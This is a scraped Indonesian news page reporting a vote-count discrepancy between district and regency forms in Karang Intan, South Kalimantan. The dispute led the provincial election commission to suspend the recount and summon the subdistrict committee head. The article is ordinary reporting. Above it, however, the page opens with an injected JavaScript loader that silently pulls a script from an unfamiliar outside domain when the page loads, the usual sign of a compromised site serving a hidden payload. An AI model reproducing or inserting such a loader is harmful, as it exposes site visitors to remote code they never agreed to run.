(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Terjadi Beda Suara, KPU Kalsel Minta PPK Karang Intan Dijemput Dini Hari


BANJARMASIN, Rekapitulasi surat suara kabupaten/kota Kalimantan Selatan (Kalsel) telah dibacakan pada Jumat (5/9) dimi hari tadi. Rekapitulasi ditutup oleh rekapitulasi suara dari Kabupaten Banjar.

Namun interupsi saksi parpol dari PKB terkait terjadinya perbedaan suara tingkat kecamatan dan kabupaten terhadap salah satu calon legislatif (caleg) untuk kursi DPRD Kalsel dapil Karang Intan, menyebabkan rekapitulasi Kabupaten Banjar harus diskors. Bahkan KPU Kalsel meminta Ketua PPK Karang Intan dijemput saat itu juga untuk menjelaskan. 

Penyandingan data dari formulir pun dilakukan terhadap DA1 dengan formulir DB1. Caleg nomor H Agus Mawardi yang mendapat suara 564 pada DA1, menjadi 473 suara pada DB1. Caleg nomor 3 M Ali Syahbana yang mendapat 2388 suara, menjadi 2788 suara. 

Kemudian caleg nomor 4 M Juriansyah yang mendapat 100 suara, menjadi 101 suara. Caleg nomor 5 Ir Dean Rufaida yang mendapat 29 suara, menjadi 30 suara. Serta caleg nomor 6 Eko Nowsujarwo yang mendapat 820 suara, menjadi 511 suara. 

Namun saat total suara dari formulir DA1 dan DB1 tetap mempunyai jumlah yang sama yaitu 4.394 suara. Hal ini diduga terjadi kesalahan pengetikan saat input data. 

Saat pleno di kabupaten Banjar memang tidak ada protes dari pihak PKB dan baru dilayangkan pada saat pleno provinsi. Hal ini disampaikan oleh Wakil Ketua Bidang Organisasi Partai PKB, Suripno Sumas, bahwa pihak saksi pada saat itu melihat jumlah data yang tertera sama, yaitu 4.394 suara. “Bagi kami, karena jumlahnya sama, makanya tidak sadar. Tapi ini hasilnya berpengaruh dengan perolehan kursi,” jelasnya. 

Sementara itu, Sekretaris DPW PKB Hormansyah mengakui bahwa pihaknya memaklumi KPU yang mungkin terjadi human error dalam proses pengisian data. “Walapun ini internal partai, tapi hasil ini nanti bisa merugikan caleg nomor satu,” ungkapnya. 

Sementara, usai melakukan pengecekan DA1 milik KPU, Bawaslu dan saksi parpol, Koordinator Divisi Teknis KPU Kalsel Hatmiati Masy’ud mengakui terdapat perbedaan. Untuk itu, dirinya menyampaikan tak bisa berlarut-larut dengan memerintahkan KPU Kabupaten Banjar segera menjemput PPK Karang Intan dengan diskor hingga pukul 02.30 Wita.

“Kita tak bisa sampai di sini saja. Jemput PPK Kecamatan Karang Intan. Kita tunggu dua jam untuk menjelaskan duduk persoalan, mengapa terjadi perbedaan raihan suara antara kecamatan dan kabupaten,” kata Hatmiati Masyud memerintahkan para komisioner KPU Banjar untuk segera menghadirkan PPK Kecamatan Karang Intan.

KPU pun langsung pergi untuk melakulan penjemputan terhadap PKK kecamatan Karang Intan.(mario)

Reporter : Mario
Editor : Chell

Desy Arfianty

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

12 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

12 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

13 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

14 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

14 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

18 jam ago

This website uses cookies.